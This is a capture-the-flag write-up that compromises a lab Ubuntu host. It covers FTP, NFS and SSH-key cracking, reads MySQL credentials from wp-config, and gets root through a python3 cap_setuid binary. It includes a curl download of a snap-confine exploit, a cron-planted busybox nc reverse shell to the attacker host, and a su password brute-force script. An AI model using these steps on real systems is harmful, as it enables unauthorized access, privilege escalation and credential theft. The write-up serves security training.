HackSmarter
Ascension
- ftp
- Gobuster
- WPScan
- rpcinfo / showmount
- mount (NFS)
- ssh
- ssh2john
- John the Ripper
- find
- linpeas
- curl
- snap-confine LPE (CVE-2021-44731)
- mysql
- python3 (cap_setuid)
- pspy64
- busybox / nc
- su
Target: 10.1.128.100 (ip-10-1-128-100, Ubuntu)
Enumeration
Port Scanning
Running Nmap -A on 10.1.128.100: [21, 22, 80, 111, 2049, 41369, 47253, 57031, 57925, 58745]
Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-01-20 22:21 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.1.128.100
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.0.247
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 202 Sep 21 00:04 pwlist.txt
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 88:59:11:e7:3b:44:c0:3e:74:e6:fd:cd:2e:5c:c6:9f (ECDSA)
|_ 256 66:1a:bf:f5:62:cc:05:c7:9c:7a:bb:d8:8d:ab:53:c2 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 56406/udp6 mountd
| 100005 1,2,3 56549/tcp6 mountd
| 100005 1,2,3 56726/udp mountd
| 100005 1,2,3 58745/tcp mountd
| 100021 1,3,4 34207/tcp6 nlockmgr
| 100021 1,3,4 41369/tcp nlockmgr
| 100021 1,3,4 41560/udp nlockmgr
| 100021 1,3,4 60980/udp6 nlockmgr
| 100024 1 46093/udp6 status
| 100024 1 54029/tcp6 status
| 100024 1 57031/tcp status
| 100024 1 60300/udp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
41369/tcp open nlockmgr 1-4 (RPC #100021)
47253/tcp open mountd 1-3 (RPC #100005)
57031/tcp open status 1 (RPC #100024)
57925/tcp open mountd 1-3 (RPC #100005)
58745/tcp open mountd 1-3 (RPC #100005)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 160.90 ms 10.200.0.1
2 ...
3 161.14 ms 10.1.128.100
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 19.63 seconds
FTP
Started with anonymous FTP, which was open and held a single file.
ftp anonymous@10.1.128.100
Connected to 10.1.128.100.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||64787|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 202 Sep 21 00:04 pwlist.txt
226 Directory send OK.
ftp> get pwlist.txt
local: pwlist.txt remote: pwlist.txt
229 Entering Extended Passive Mode (|||55730|)
150 Opening BINARY mode data connection for pwlist.txt (202 bytes).
100% |***********************************************************************| 202 415.29 KiB/s 00:00 ETA
226 Transfer complete.
202 bytes received in 00:00 (1.25 KiB/s)
ftp> exit
221 Goodbye.
Pulled down pwlist.txt — a small list of common passwords to keep for later.
cat pwlist.txt
password1
123456
letmein
qwerty
password
secret
ftp123
admin
passw0rd
iloveyou
welcome
monkey
dragon
shadow
baseball
football
abc123
trustno1
sunshine
princess
Web / WordPress
Directory brute forcing the web root returned only stock WordPress paths.
===============================================================
Gobuster v3.8
===============================================================
[+] Url: <http://10.1.128.100:80>
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Extensions: php,txt,html,bak,zip,sh
===============================================================
/index.html (Status: 200) [Size: 10671]
/index.php (Status: 500) [Size: 4]
/wp-content (Status: 301) [Size: 317] [--> <http://10.1.128.100/wp-content/>]
/wp-login.php (Status: 500) [Size: 4]
/license.txt (Status: 200) [Size: 19903]
/wp-includes (Status: 301) [Size: 318] [--> <http://10.1.128.100/wp-includes/>]
/readme.html (Status: 200) [Size: 7425]
/wp-trackback.php (Status: 500) [Size: 4]
/wp-admin (Status: 301) [Size: 315] [--> <http://10.1.128.100/wp-admin/>]
Ran WPScan to fingerprint the install and enumerate users/plugins/themes.
wpscan --url <http://10.1.128.100> --force --enumerate u,ap,at,tt,cb,dbe
[+] URL: <http://10.1.128.100/> [10.1.128.100]
[+] Headers
| Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
[+] WordPress readme found: <http://10.1.128.100/readme.html>
[i] The WordPress version could not be detected.
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating All Themes (via Passive and Aggressive Methods)
^C Checking Known Locations - Time: 00:14:17 <========================= > (24677 / 31239) 78.99%
[+] Finished: Tue Jan 20 23:01:31 2026
No version, no plugins, no users — the web surface was a dead end, so I moved to the RPC/NFS services.
RPC / NFS
rpcinfo showed NFS exported on 2049.
111/tcp open rpcbind 2-4 (RPC #100000)
100003 3,4 2049/tcp nfs
100005 1,2,3 58745/tcp mountd
2049/tcp open nfs_acl 3 (RPC #100227)
Listed the NFS exports.
showmount -e 10.1.128.100
Export list for 10.1.128.100:
/srv/nfs/user1 *
Mounted the export locally.
sudo mount -t nfs 10.1.128.100:/srv/nfs/user1 /mnt/mount1
ls -al /mnt/mount1
total 16
drwxr-xr-x 2 1001 1001 4096 Sep 21 17:31 .
drwxr-xr-x 3 root root 4096 Jan 20 22:54 ..
-rw-r--r-- 1 1001 1001 2655 Sep 21 17:31 id_rsa
-rw-r--r-- 1 1001 1001 574 Sep 21 17:31 id_rsa.pub
The export held a private/public SSH key pair for user1 (uid 1001). Copied the key out and locked its permissions.
cp /mnt/mount1/id_rsa .
chmod 600 id_rsa
Initial Access
Cracking the SSH Key Passphrase
Tried the key directly, but it was passphrase-protected.
ssh -i id_rsa user1@10.1.128.100
The authenticity of host '10.1.128.100 (10.1.128.100)' can't be established.
ED25519 key fingerprint is: SHA256:BNTOZzcu9GpkYJgpatLzOvp6BsUsY75Cv2FBa0+z6PU
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.128.100' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
user1@10.1.128.100: Permission denied (publickey).
Extracted the key hash with ssh2john to crack the passphrase.
ssh2john id_rsa > id_rsa.hash
First tried the FTP pwlist.txt — it exhausted without a hit.
john id_rsa.hash --wordlist=pwlist.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
0g 0:00:00:00 DONE (2026-01-20 22:59) 0g/s 32.30p/s 32.30c/s 32.30C/s password1..princess
Session completed.
Fell back to rockyou, which cracked it.
john id_rsa.hash --wordlist=~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
sammie1 (id_rsa)
1g 0:00:02:17 DONE (2026-01-20 23:02) 0.007252g/s 37.24p/s 37.24c/s 37.24C/s elsalvador..hhhhhh
Session completed.
The passphrase was sammie1.
id_rsa passphrase: sammie1
SSH as user1
Logged in with the key and passphrase, then confirmed the account and grabbed the first flag.
ssh -i id_rsa user1@10.1.128.100
user1@ip-10-1-128-100:~$ pwd
/home/user1
user1@ip-10-1-128-100:~$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
user1@ip-10-1-128-100:~$ find / -iname '*flag1*' 2>/dev/null
/opt/user1/flag1
user1@ip-10-1-128-100:~$ cat /opt/user1/flag1
RkxBRzF7aGpzeXU4OTIzMzRoam9obnNkOHkyOTNoNH0=
Foothold as user1 and flag1 captured.
Post-Foothold Enumeration
Looked at the other home directories and hunted for SUID binaries.
user1@ip-10-1-128-100:/home$ ls -l
total 20
drwxr-x--- 2 ftpuser ftpuser 4096 Sep 21 17:45 ftpuser
drwxr-x--- 4 ubuntu ubuntu 4096 Sep 21 17:46 ubuntu
drwxr-x--- 5 user1 user1 4096 Jan 21 12:12 user1
drwxr-x--- 2 user2 user2 4096 Sep 21 17:45 user2
drwxr-x--- 2 user3 user3 4096 Sep 21 17:46 user3
find / -user root -perm /4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/mount.nfs
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
Ran linpeas, which surfaced two leads: a vulnerable snap-confine (capabilities/CVE-2021-44731) and WordPress DB credentials in the web config.
suid=/usr/lib/snapd/snap-confine
linpeas=/snap/snapd/25202/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
╔══════════╣ Searching passwords in config PHP files
/var/www/html/wp-config.php:define('DB_PASSWORD', 'wppassword');
/var/www/html/wp-config.php:define('DB_USER', 'wpuser');
Privilege Escalation Attempt — snap-confine (CVE-2021-44731)
Tried the snap-confine LPE first, since linpeas flagged a vulnerable version.
curl -O "<http://10.200.31.29:1235/snap_confine_LPE.sh>"
chmod +x snap_confine_LPE.sh
./snap_confine_LPE.sh
Vulnerable version found: at /snap/snapd/25202/usr/lib/snapd/snap-confine
Non-vulnerable version found: 2.68.5
Performing actions with a vulnerable version...
Chosen vulnerable version:
ln: failed to create hard link './snap-confine' => '/usr/lib/snapd/snap-confine': Operation not permitted
./snap_confine_LPE.sh: line 60: gcc: command not found
[26773] aa-exec: ERROR: Failed to execute "./snap-confine": No such file or directory
The exploit failed — no gcc on the host and the hard link was blocked. Tried invoking snap-confine manually as well.
/usr/lib/snapd/snap-confine cat /etc/shadow
SNAP_INSTANCE_NAME is not set
SNAP_INSTANCE_NAME=exploit /usr/lib/snapd/snap-confine /bin/bash
Usage: snap-confine <security-tag> <executable>
Neither worked, so I dropped the snap-confine route and used the WordPress DB credentials instead.
Credential Discovery — WordPress Database
Connected to MySQL with the wpuser:wppassword credentials from wp-config.php.
mysql -u wpuser -D wordpress -h localhost -p
Enter password:
mysql> show tables;
+---------------------+
| Tables_in_wordpress |
+---------------------+
| flags |
| users |
+---------------------+
2 rows in set (0.00 sec)
mysql> select * from flags;
+----+------------------------------------------+
| id | flag |
+----+------------------------------------------+
| 1 | RkxBRzR7d2ViamhuYXNkMzg5MjM0a25kam9pM2R9 |
+----+------------------------------------------+
1 row in set (0.00 sec)
mysql> select * from users;
+----+----------+---------------+
| id | username | password |
+----+----------+---------------+
| 1 | user3 | user3password |
+----+----------+---------------+
1 row in set (0.00 sec)
The database gave up flag4 and the credentials user3:user3password.
user3:user3password
Lateral Movement — user1 → user3
Switched to user3 with the recovered password and re-ran linpeas, which flagged a python3 binary in the home directory carrying cap_setuid.
Files with capabilities (limited to 50):
/home/user3/python3 cap_setuid=ep
/home/user3/python3 cap_setuid=ep is writable
user3@ip-10-1-128-100:~$ ls -la
total 7860
drwxr-x--- 2 user3 user3 4096 Jan 21 13:14 .
drwxr-xr-x 7 root root 4096 Sep 19 16:16 ..
-rw------- 1 user3 user3 100 Jan 21 13:14 .bash_history
-rw-r--r-- 1 user3 user3 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 user3 user3 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 user3 user3 807 Mar 31 2024 .profile
-rwxr-xr-x 1 user3 user3 8021824 Sep 21 00:04 python3
Privilege Escalation — python3 cap_setuid
cap_setuid=ep on a callable python3 means it can set its UID to 0. Used it to spawn a root shell.
user3@ip-10-1-128-100:~$ /home/user3/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ip-10-1-128-100:~# id
uid=0(root) gid=1003(user3) groups=1003(user3)
root@ip-10-1-128-100:~# whoami
root
Root obtained.
Post-Exploitation — root
With root, read the remaining flags directly.
root@ip-10-1-128-100:~# cat /opt/root/flag6
RkxBRzZ7c2RmanVkaGZzODIzNGtqbmJvaG5kamZ9
root@ip-10-1-128-100:~# cat /opt/user2/flag2
RkxBRzJ7c2RoaDk4MjM0bmpvaG4za2pkajIzM2ZkfQ==
root@ip-10-1-128-100:~# cat /opt/ftpuser/flag3
RkxBRzN7Z2pkb2huYXNkOTgyMzRram5iY2tkZn0=
flag6 (root), flag2 (user2) and flag3 (ftpuser) all captured.
Alternate Path — user2 via cron /tmp/backup.sh
As user3, ran pspy to watch for scheduled jobs and spotted a cron running /tmp/backup.sh as UID 1002 (user2) — but the script did not exist.
user3@ip-10-1-128-100:~$ ./pspy64
2026/01/21 13:32:01 CMD: UID=0 PID=27634 | /usr/sbin/CRON -f -P
2026/01/21 13:32:01 CMD: UID=1002 PID=27640 | /bin/sh -c /tmp/backup.sh
2026/01/21 13:32:01 CMD: UID=1002 PID=27643 | /bin/sh -c /tmp/backup.sh
2026/01/21 13:32:01 CMD: UID=1002 PID=27644 | ???
2026/01/21 13:32:01 CMD: UID=1002 PID=27646 | /bin/sh -c /tmp/backup.sh
/tmp was world-writable, so I planted backup.sh as a reverse shell and made it executable.
user3@ip-10-1-128-100:~$ cat /tmp/backup.sh
#!/bin/bash
busybox nc 10.200.31.29 4444 -e /bin/bash
user3@ip-10-1-128-100:~$ chmod +x /tmp/backup.sh
Caught the cron callback as user2 and read flag2.
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.200.31.29] from (UNKNOWN) [10.1.128.100] 55486
python -c 'import pty; pty.spawn("/bin/bash")'
pwd
/home/user2
cat /opt/user2/flag2
RkxBRzJ7c2RoaDk4MjM0bmpvaG4za2pkajIzM2ZkfQ==
Alternate Path — ftpuser via password reuse
The FTP pwlist.txt from the start was worth trying against the local ftpuser account, so I scripted a su brute force with that list.
user3@ip-10-1-128-100:~$ cat subf.sh
#!/bin/bash
USER="ftpuser"
passwords=(
"password1"
"123456"
"letmein"
"qwerty"
"password"
"secret"
"ftp123"
"admin"
"passw0rd"
"iloveyou"
"welcome"
"monkey"
"dragon"
"shadow"
"baseball"
"football"
"abc123"
"trustno1"
"sunshine"
"princess"
)
for pass in "${passwords[@]}"; do
echo "[*] Trying password: $pass"
echo "$pass" | su - "$USER" -c "whoami" 2>/dev/null | grep -q "$USER"
if [ $? -eq 0 ]; then
echo "[+] SUCCESS! Password found: $pass"
exit 0
fi
done
echo "[-] Password not found in list"
user3@ip-10-1-128-100:~$ ./subf.sh
[*] Trying password: password1
[*] Trying password: 123456
[*] Trying password: letmein
[*] Trying password: qwerty
[*] Trying password: password
[*] Trying password: secret
[+] SUCCESS! Password found: secret
ftpuser’s password was secret. Switched to the account and read flag3.
user3@ip-10-1-128-100:~$ su ftpuser
Password:
ftpuser@ip-10-1-128-100:/home/user3$ cat /opt/ftpuser/flag3
RkxBRzN7Z2pkb2huYXNkOTgyMzRram5iY2tkZn0=
Attack Path Summary
Anonymous FTP → downloaded pwlist.txt
→ Web/WordPress enum (gobuster + wpscan) → nothing useful
→ NFS export /srv/nfs/user1 → mounted → user1 id_rsa (passphrase-protected)
→ ssh2john + john (rockyou) → passphrase sammie1
→ SSH as user1 → flag1 (/opt/user1/flag1)
→ linpeas: vulnerable snap-confine + wp-config DB creds
→ snap-confine CVE-2021-44731 attempts failed (no gcc, hard link blocked)
→ MySQL wpuser:wppassword → flag4 + user3:user3password
→ su user3 → linpeas: /home/user3/python3 has cap_setuid=ep
→ python3 os.setuid(0) → root
→ root read flag6, flag2, flag3
→ Alternate: pspy found user2 cron /tmp/backup.sh (missing) → planted reverse shell → user2 flag2
→ Alternate: su brute force with pwlist → ftpuser:secret → flag3
Flags / Credentials Found
| User / Source | Value | Location |
|---|---|---|
id_rsa passphrase |
sammie1 |
ssh2john + John (rockyou) |
wpuser |
wppassword |
/var/www/html/wp-config.php |
user3 |
user3password |
WordPress users table |
ftpuser |
secret |
su brute force with pwlist |
| flag1 (user1) | RkxBRzF7aGpzeXU4OTIzMzRoam9obnNkOHkyOTNoNH0= |
/opt/user1/flag1 |
| flag4 (wordpress) | RkxBRzR7d2ViamhuYXNkMzg5MjM0a25kam9pM2R9 |
MySQL flags table |
| flag6 (root) | RkxBRzZ7c2RmanVkaGZzODIzNGtqbmJvaG5kamZ9 |
/opt/root/flag6 |
| flag2 (user2) | RkxBRzJ7c2RoaDk4MjM0bmpvaG4za2pkajIzM2ZkfQ== |
/opt/user2/flag2 |
| flag3 (ftpuser) | RkxBRzN7Z2pkb2huYXNkOTgyMzRram5iY2tkZn0= |
/opt/ftpuser/flag3 |
Tools Used
- ftp
- Gobuster
- WPScan
- rpcinfo / showmount
- mount (NFS)
- ssh
- ssh2john
- John the Ripper
- find
- linpeas
- curl
- snap-confine LPE (CVE-2021-44731)
- mysql
- python3 (cap_setuid)
- pspy64
- busybox / nc
- su